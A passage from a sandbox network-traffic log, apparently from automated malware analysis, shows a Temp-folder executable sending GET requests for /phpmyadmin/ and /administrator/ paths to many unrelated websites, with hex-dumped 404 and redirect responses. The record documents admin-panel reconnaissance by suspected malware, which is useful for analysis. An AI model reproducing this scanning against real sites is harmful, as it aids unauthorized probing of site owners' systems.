131	192.168.2.4	54427	192.185.100.42	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.224448919 CET	174	OUT	GET /phpmyadmin/ HTTP/1.1 Host: conalcorp.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	54324	217.160.0.195	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.307966948 CET	175	OUT	GET /phpmyadmin/ HTTP/1.1 Host: eurobay-mk.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:23.566203117 CET	809	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=15 Date: Wed, 20 Dec 2023 02:13:23 GMT Server: Apache X-Frame-Options: deny Content-Encoding: gzip Data Raw: 32 33 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 50 2a a0 d4 95 5a 84 90 b8 ac bd 63 7b 5a 7b 37 da 5d e7 03 c4 7f 67 bc 4e a4 84 b8 24 97 68 e7 e3 bd dd f7 66 1c 9f 7f 48 df 3f fc b8 bb 82 ca 35 f5 e5 59 dc ff 41 5c a1 90 97 67 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 6d e0 13 d6 6d 6a 04 b7 59 60 12 38 5c bb 28 b7 d6 67 3c d4 18 32 2d 37 63 78 b1 10 c6 29 34 63 a0 c2 88 06 e1 37 83 1e fe 2a a4 b2 72 b3 8b e9 f4 e5 fc 28 b9 22 e9 aa 67 72 8d 30 25 a9 d9 f4 b8 6b 21 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 9f b9 c9 12 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 8e 2f 96 89 fc a9 34 ba 55 72 e6 8c 50 96 d5 41 e5 0e eb fe 1c 88 d0 c9 38 20 9a 66 ca a2 d6 ab 59 45 52 a2 3a 46 88 23 6f d0 9e 87 fc 06 e6 4a 82 db f4 7b 00 8a bd 48 02 5c 2f c8 60 6f db d6 e9 5d 15 29 89 eb 31 14 ba 66 96 31 88 ba de 35 5d a7 e9 f5 cd d5 bb f4 a1 9f 83 7e 40 4e b7 19 9d 69 b7 a5 3a 0f 43 f8 e8 91 d9 25 f8 ca 23 16 3e 88 12 0a 5a a3 05 cb 42 72 38 24 6b 5b 3e 6a 05 8d ce 88 67 4d e2 92 72 8e 84 e1 c0 ab fc a0 24 7d 49 e8 0f 73 20 45 8e d8 95 0e 11 93 8b c9 74 0e 8d 58 53 d3 36 fb a1 d6 a2 f1 67 91 71 d5 74 be 7b e7 92 70 b5 d0 c6 75 cf 8c a3 ed 42 c4 9d 1f 9e 5e d2 12 48 26 c1 76 c0 7b 31 22 8e fa ac cd 0d 2d dc fe 7a 3c 8a a5 e8 a3 fd 96 48 9d b7 0d 1b 32 59 19 72 f8 ea c0 f4 dd 82 8c e2 ff e2 40 2d 54 d9 8a 92 9d fc cc e8 f7 9e 33 18 0d 42 ed 20 df c0 c8 9a 3c 09 a2 c8 a2 d4 7c f9 27 d6 7a 92 eb 26 2a 4c d3 1d a3 53 fd 2b 1e 0d bd 9a d4 3a 17 8e b4 9a 54 da 3a 60 d8 93 8d a3 4f e9 6d 7a 7f d7 53 7e fb 72 8a 67 14 75 d7 99 3c f2 cc 0c 97 32 67 fc 33 ea 15 fa a7 e4 75 b7 10 bc 02 5e 11 ef 5f ef 1b fb d8 7d e7 fe 02 e4 39 6b fe f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 23aTMo@WLP@qzCPZc{Z{7]gN$hfH?5YA\gqN@^c%AmmjY`8\(g<2-7cx)4c7r("gr0%k!$U2m$n]MRV.\TLX/4UrPA8 fYER:F#oJ{H\/`o])1f15]~@Ni:C%#>ZBr8$k[>jgMr$}Is EtXS6gqt{puB^H&v{1"-z<H2Yr@-T3B <\|'z&*LS+:T:`OmzS~rgu<2g3u^_}9k0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	54438	64.182.43.254	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.308041096 CET	173	OUT	GET /phpmyadmin/ HTTP/1.1 Host: rushroom.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:23.466684103 CET	1286	IN	HTTP/1.1 404 Not Found content-type: text/html server: Microsoft-IIS/7.5 x-powered-by: ASP.NET date: Wed, 20 Dec 2023 02:13:23 GMT content-length: 1635 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 54 68 65 20 70 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 66 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 57 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0d 0a 3c 53 54 59 4c 45 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 42 4f 44 59 20 7b 20 66 6f 6e 74 3a 20 38 70 74 2f 31 32 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 48 31 20 7b 20 66 6f 6e 74 3a 20 31 33 70 74 2f 31 35 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 48 32 20 7b 20 66 6f 6e 74 3a 20 38 70 74 2f 31 32 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 41 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 72 65 64 20 7d 0d 0a 20 20 41 3a 76 69 73 69 74 65 64 20 7b 20 63 6f 6c 6f 72 3a 20 6d 61 72 6f 6f 6e 20 7d 0d 0a 3c 2f 53 54 59 4c 45 3e 0d 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 3c 54 41 42 4c 45 20 77 69 64 74 68 3d 35 30 30 20 62 6f 72 64 65 72 3d 30 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 31 30 3e 3c 54 52 3e 3c 54 44 3e 0d 0a 0d 0a 3c 68 31 3e 54 68 65 20 70 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 66 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 54 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 0d 0a 3c 68 72 3e 0d 0a 3c 70 3e 50 6c 65 61 73 65 20 74 72 79 20 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 3a 3c 2f 70 3e 0d 0a 3c 75 6c 3e 0d 0a 3c 6c 69 3e 4d 61 6b 65 20 73 75 72 65 20 74 68 61 74 20 74 68 65 20 57 65 62 20 73 69 74 65 20 61 64 64 72 65 73 73 20 64 69 73 70 6c 61 79 65 64 20 69 6e 20 74 68 65 20 61 64 64 72 65 73 73 20 62 61 72 20 6f 66 20 79 6f 75 72 20 62 72 6f 77 73 65 72 20 69 73 20 73 70 65 6c 6c 65 64 20 61 6e 64 20 66 6f 72 6d 61 74 74 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 2f 6c 69 3e 0d 0a 3c 6c 69 3e 49 66 20 79 6f 75 20 72 65 61 63 68 65 64 20 74 68 69 73 20 70 61 67 65 20 62 79 20 63 6c 69 63 6b 69 6e 67 20 61 20 6c 69 6e 6b 2c 20 63 6f 6e 74 61 63 74 0d 0a 20 74 68 65 20 57 65 62 20 73 69 74 65 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 74 6f 20 61 6c 65 72 74 20 74 68 65 6d 20 74 68 61 74 20 74 68 65 20 6c 69 6e 6b 20 69 73 20 69 6e 63 6f 72 72 65 63 74 6c 79 20 66 6f 72 6d 61 74 74 65 64 2e 0d 0a 3c 2f 6c 69 3e 0d 0a 3c 6c 69 3e 43 6c 69 63 6b 20 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6a 61 76 61 73 63 72 69 70 74 3a 68 69 73 74 6f 72 79 2e 62 61 63 6b 28 31 29 22 3e 42 61 63 6b 3c 2f 61 3e 20 62 75 74 74 6f 6e 20 74 6f 20 74 72 79 20 61 6e 6f 74 68 65 72 20 6c 69 6e 6b 2e 3c 2f 6c 69 3e 0d 0a 3c 2f 75 6c 3e 0d 0a 3c 68 32 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 62 72 3e 49 6e 74 65 72 6e 65 74 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 53 65 72 76 69 63 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>The page cannot be found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=Windows-1252"><STYLE type="text/css"> BODY { font: 8pt/12pt verdana } H1 { font: 13pt/15pt verdana } H2 { font: 8pt/12pt verdana } A:link { color: red } A:visited { color: maroon }</STYLE></HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD><h1>The page cannot be found</h1>The page you are looking for might have been removed, had its name changed, or is temporarily unavailable.<hr><p>Please try the following:</p><ul><li>Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.</li><li>If you reached this page by clicking a link, contact the Web site administrator to alert them that the link is incorrectly formatted.</li><li>Click the <a href="javascript:history.back(1)">Back</a> button to try another link.</li></ul><h2>HTTP Error 404 - File or directory not found.<br>Internet Information Service
Dec 20, 2023 03:13:23.466731071 CET	509	IN	Data Raw: 73 20 28 49 49 53 29 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 0d 0a 3c 70 3e 54 65 63 68 6e 69 63 61 6c 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 28 66 6f 72 20 73 75 70 70 6f 72 74 20 70 65 72 73 6f 6e 6e 65 6c 29 3c 2f 70 3e 0d 0a 3c 75 6c 3e 0d 0a 3c 6c Data Ascii: s (IIS)</h2><hr><p>Technical Information (for support personnel)</p><ul><li>Go to <a href="http://go.microsoft.com/fwlink/?linkid=8180">Microsoft Product Support Services</a> and perform a title search for the words <b>HTTP</b> and <b>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	54325	87.98.154.146	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.308090925 CET	183	OUT	GET /administrator/ HTTP/1.1 Host: www.plastikolor.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:23.542650938 CET	536	IN	HTTP/1.1 301 Moved Permanently date: Wed, 20 Dec 2023 02:13:23 GMT content-type: text/html; charset=iso-8859-1 content-length: 250 server: Apache location: https://www.plastikolor.com/administrator/ x-iplb-request-id: 668198D4:D435_57629A92:0050_65824DC3_61AC2:3863 x-iplb-instance: 52462 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 6c 61 73 74 69 6b 6f 6c 6f 72 2e 63 6f 6d 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.plastikolor.com/administrator/">here</a>.</p></
Dec 20, 2023 03:13:23.542663097 CET	13	IN	Data Raw: 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	53730	185.103.16.167	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.334431887 CET	176	OUT	GET /administrator/ HTTP/1.1 Host: mgbymags.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	53812	157.112.187.45	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.334526062 CET	174	OUT	GET /administrator/ HTTP/1.1 Host: wakux2.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	53724	199.34.228.100	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.336287022 CET	177	OUT	GET /administrator/ HTTP/1.1 Host: guymassey.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:23.538630009 CET	451	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:23 GMT Server: Apache Location: http://www.guymassey.com/administrator/ Content-Length: 247 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 75 79 6d 61 73 73 65 79 2e 63 6f 6d 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://www.guymassey.com/administrator/">here</a>.</p></body></html>
Dec 20, 2023 03:13:23.742286921 CET	451	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:23 GMT Server: Apache Location: http://www.guymassey.com/administrator/ Content-Length: 247 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 75 79 6d 61 73 73 65 79 2e 63 6f 6d 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://www.guymassey.com/administrator/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	53881	95.128.72.24	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.336371899 CET	176	OUT	GET /administrator/ HTTP/1.1 Host: meurrens.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:23.570347071 CET	1286	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:23 GMT Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Transfer-Encoding: chunked Content-Type: text/html; charset=iso-8859-1 Content-Language: en Data Raw: 31 65 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 0d 0a 61 66 0d 0a 49 53 4f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 0d 0a 65 0d 0a 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 0d 0a 31 33 0d 0a 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 0d 0a 33 38 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 31 30 0d 0a 70 6f 73 74 6d 61 73 74 65 72 40 6d 65 75 72 72 65 6e 73 2e 6f 72 67 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 0d 0a 31 62 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0d 0a 33 39 0d 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0d 0a 35 37 0d 0a 0a 0a 20 20 20 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 0a 20 20 20 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 0a 0a 20 20 0d 0a 32 0d 0a 0a 0a 0d 0a 39 0d 0a 3c 2f 70 3e 0a 3c 70 3e 0a 0d 0a 34 38 0d 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 32 38 0d 0a 70 6f 73 74 6d 61 73 74 65 72 40 6d 65 75 72 72 65 6e 73 2e 6f 72 67 22 3e 77 65 62 6d 61 73 74 65 72 3c 2f 61 3e 2e 0a 0d 0a 31 31 0d 0a 0a 3c 2f 70 3e 0a 0a 3c 68 32 3e 45 72 72 6f 72 20 0d 0a 32 31 0d 0a 34 30 34 3c 2f 68 32 3e 0a 3c 61 64 64 72 65 73 73 3e 0a 20 20 3c 61 20 68 72 65 66 3d 22 2f 22 3e 0d 0a 31 39 0d 0a 6d 65 75 72 72 65 6e 73 2e 6f 72 67 3c 2f 61 3e 3c 62 72 20 2f 3e 0a 20 20 0d 0a 39 0d 0a 0a 20 20 3c 73 70 61 6e 3e 0d 0a 32 31 0d 0a 57 65 64 20 44 Data Ascii: 1e<?xml version="1.0" encoding="afISO-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="een" xml:lang="13en"><head><title>38Object not found!</title><link rev="made" href="mailto:110postmaster@meurrens.org" /><style type="text/css">.../--><![CDATA[/>.../ body { color: #000000; background-color: #FFFFFF; } a:link { color: #0000CC; } p, address {margin-left: 3em;} span {font-size: smaller;}/...*/--></style></head><body><h1>1bObject not found!</h1><p>39 The requested URL was not found on this server. 57 If you entered the URL manually please check your spelling and try again. 29</p><p>48If you think this is a server error, please contactthe <a href="mailto:28postmaster@meurrens.org">webmaster</a>.11</p><h2>Error 21404</h2><address> <a href="/">19meurrens.org</a><br /> 9 <span>21Wed D
Dec 20, 2023 03:13:23.570359945 CET	88	IN	Data Raw: 65 63 20 32 30 20 30 33 3a 31 33 3a 32 33 20 32 30 32 33 3c 62 72 20 2f 3e 0a 20 20 0d 0a 32 39 0d 0a 41 70 61 63 68 65 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 31 0d 0a 0a 0d Data Ascii: ec 20 03:13:23 2023<br /> 29Apache</span></address></body></html>10
Dec 20, 2023 03:13:23.571299076 CET	230	OUT	GET /administrator/index.php HTTP/1.1 Host: meurrens.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://meurrens.org/administrator/
Dec 20, 2023 03:13:23.802833080 CET	1286	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:23 GMT Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Transfer-Encoding: chunked Content-Type: text/html; charset=iso-8859-1 Content-Language: en Data Raw: 31 65 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 0d 0a 61 66 0d 0a 49 53 4f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 0d 0a 65 0d 0a 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 0d 0a 31 33 0d 0a 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 0d 0a 33 38 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 31 30 0d 0a 70 6f 73 74 6d 61 73 74 65 72 40 6d 65 75 72 72 65 6e 73 2e 6f 72 67 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 0d 0a 31 62 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 